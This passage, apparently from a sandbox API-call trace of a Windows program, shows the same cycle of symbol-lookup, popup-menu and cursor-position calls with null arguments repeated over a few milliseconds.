FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.569] SymCleanup (hProcess=0x0) returned 0 [0185.569] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.569] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.569] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.569] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.569] GetLastError () returned 0x579 [0185.569] SetLastError (dwErrCode=0x579) [0185.569] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.569] SymCleanup (hProcess=0x0) returned 0 [0185.569] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.569] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.569] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.569] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.569] GetLastError () returned 0x579 [0185.569] SetLastError (dwErrCode=0x579) [0185.569] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.569] SymCleanup (hProcess=0x0) returned 0 [0185.569] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.569] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.570] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.570] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=694, param_4=457, param_5=0x0, param_6=0x0) returned 0 [0185.570] GetLastError () returned 0x579 [0185.570] SetLastError (dwErrCode=0x579) [0185.570] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.570] SymCleanup (hProcess=0x0) returned 0 [0185.570] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.570] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.570] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.570] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.570] GetLastError () returned 0x579 [0185.570] SetLastError (dwErrCode=0x579) [0185.570] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.570] SymCleanup (hProcess=0x0) returned 0 [0185.570] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.570] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.570] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.570] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.570] GetLastError () returned 0x579 [0185.570] SetLastError (dwErrCode=0x579) [0185.570] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.570] SymCleanup (hProcess=0x0) returned 0 [0185.570] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.570] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.570] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.571] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.571] GetLastError () returned 0x579 [0185.571] SetLastError (dwErrCode=0x579) [0185.571] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.571] SymCleanup (hProcess=0x0) returned 0 [0185.571] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.571] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.571] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.571] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.571] GetLastError () returned 0x579 [0185.571] SetLastError (dwErrCode=0x579) [0185.571] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.571] SymCleanup (hProcess=0x0) returned 0 [0185.571] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.571] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.571] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.571] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=934, param_4=198, param_5=0x0, param_6=0x0) returned 0 [0185.571] GetLastError () returned 0x579 [0185.571] SetLastError (dwErrCode=0x579) [0185.571] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.571] SymCleanup (hProcess=0x0) returned 0 [0185.571] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.571] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.571] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.572] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.572] GetLastError () returned 0x579 [0185.572] SetLastError (dwErrCode=0x579) [0185.572] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.572] SymCleanup (hProcess=0x0) returned 0 [0185.572] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.572] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.572] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.572] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.572] GetLastError () returned 0x579 [0185.572] SetLastError (dwErrCode=0x579) [0185.572] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.572] SymCleanup (hProcess=0x0) returned 0 [0185.572] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.572] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.572] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.572] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.572] GetLastError () returned 0x579 [0185.572] SetLastError (dwErrCode=0x579) [0185.572] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.572] SymCleanup (hProcess=0x0) returned 0 [0185.572] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.572] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.572] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.573] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.573] GetLastError () returned 0x579 [0185.573] SetLastError (dwErrCode=0x579) [0185.573] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.573] SymCleanup (hProcess=0x0) returned 0 [0185.573] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.573] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.573] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.573] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=564, param_4=793, param_5=0x0, param_6=0x0) returned 0 [0185.573] GetLastError () returned 0x579 [0185.573] SetLastError (dwErrCode=0x579) [0185.573] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.573] SymCleanup (hProcess=0x0) returned 0 [0185.573] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.573] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.573] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.573] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.573] GetLastError () returned 0x579 [0185.573] SetLastError (dwErrCode=0x579) [0185.573] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.573] SymCleanup (hProcess=0x0) returned 0 [0185.573] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.573] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.573] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.574] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.574] GetLastError () returned 0x579 [0185.574] SetLastError (dwErrCode=0x579) [0185.574] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.574] SymCleanup (hProcess=0x0) returned 0 [0185.574] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.574] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.574] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.574] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.574] GetLastError () returned 0x579 [0185.574] SetLastError (dwErrCode=0x579) [0185.574] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.574] SymCleanup (hProcess=0x0) returned 0 [0185.574] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.574] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.574] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.574] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.574] GetLastError () returned 0x579 [0185.574] SetLastError (dwErrCode=0x579) [0185.574] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.574] SymCleanup (hProcess=0x0) returned 0 [0185.574] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.574] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.574] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.574] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=223, param_4=840, param_5=0x0, param_6=0x0) returned 0 [0185.575] GetLastError () returned 0x579 [0185.575] SetLastError (dwErrCode=0x579) [0185.575] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.575] SymCleanup (hProcess=0x0) returned 0 [0185.575] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.575] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.575] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.575] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.575] GetLastError () returned 0x579 [0185.575] SetLastError (dwErrCode=0x579) [0185.575] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.575] SymCleanup (hProcess=0x0) returned 0 [0185.575] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.575] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.575] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.575] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.575] GetLastError () returned 0x579 [0185.575] SetLastError (dwErrCode=0x579) [0185.575] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.575] SymCleanup (hProcess=0x0) returned 0 [0185.575] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.575] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.575] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.575] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.576] GetLastError () returned 0x579 [0185.576] SetLastError (dwErrCode=0x579) [0185.576] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.576] SymCleanup (hProcess=0x0) returned 0 [0185.576] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.576] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.576] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.576] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.576] GetLastError () returned 0x579 [0185.576] SetLastError (dwErrCode=0x579) [0185.576] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.576] SymCleanup (hProcess=0x0) returned 0 [0185.576] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.576] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.576] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.576] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=655, param_5=0x0, param_6=0x0) returned 0 [0185.576] GetLastError () returned 0x579 [0185.576] SetLastError (dwErrCode=0x579) [0185.576] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.576] SymCleanup (hProcess=0x0) returned 0 [0185.576] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.576] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.576] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.576] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.577] GetLastError () returned 0x579 [0185.577] SetLastError (dwErrCode=0x579) [0185.577] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.577] SymCleanup (hProcess=0x0) returned 0 [0185.577] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.577] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.577] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.577] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.577] GetLastError () returned 0x579 [0185.577] SetLastError (dwErrCode=0x579) [0185.577] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.577] SymCleanup (hProcess=0x0) returned 0 [0185.577] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.577] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.577] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.577] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.577] GetLastError () returned 0x579 [0185.577] SetLastError (dwErrCode=0x579) [0185.577] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.577] SymCleanup (hProcess=0x0) returned 0 [0185.577] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.577] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.577] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.577] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.577] GetLastError () returned 0x579 [0185.578] SetLastError (dwErrCode=0x579) [0185.578] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.578] SymCleanup (hProcess=0x0) returned 0 [0185.578] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.578] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.578] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.578] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1207, param_4=365, param_5=0x0, param_6=0x0) returned 0 [0185.578] GetLastError () returned 0x579 [0185.578] SetLastError (dwErrCode=0x579) [0185.578] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.578] SymCleanup (hProcess=0x0) returned 0 [0185.578] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.578] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.578] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.578] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.578] GetLastError () returned 0x579 [0185.578] SetLastError (dwErrCode=0x579) [0185.578] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.578] SymCleanup (hProcess=0x0) returned 0 [0185.578] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.578] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.578] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.578] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.578] GetLastError () returned 0x579 [0185.579] SetLastError (dwErrCode=0x579) [0185.579] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.579] SymCleanup (hProcess=0x0) returned 0 [0185.579] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.579] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.579] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.579] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.579] GetLastError () returned 0x579 [0185.579] SetLastError (dwErrCode=0x579) [0185.579] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.579] SymCleanup (hProcess=0x0) returned 0 [0185.579] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.579] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.579] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.579] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.579] GetLastError () returned 0x579 [0185.579] SetLastError (dwErrCode=0x579) [0185.579] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.579] SymCleanup (hProcess=0x0) returned 0 [0185.579] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.579] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.579] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.579] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=996, param_4=525, param_5=0x0, param_6=0x0) returned 0 [0185.579] GetLastError () returned 0x579 [0185.579] SetLastError (dwErrCode=0x579) [0185.580] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.580] SymCleanup (hProcess=0x0) returned 0 [0185.580] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.580] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.580] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.580] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.580] GetLastError () returned 0x579 [0185.580] SetLastError (dwErrCode=0x579) [0185.580] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.580] SymCleanup (hProcess=0x0) returned 0 [0185.580] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.580] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.580] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.580] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.580] GetLastError () returned 0x579 [0185.580] SetLastError (dwErrCode=0x579) [0185.580] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.580] SymCleanup (hProcess=0x0) returned 0 [0185.580] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.580] InsertMenuItemA (hmenu=0x0, item=0x0, 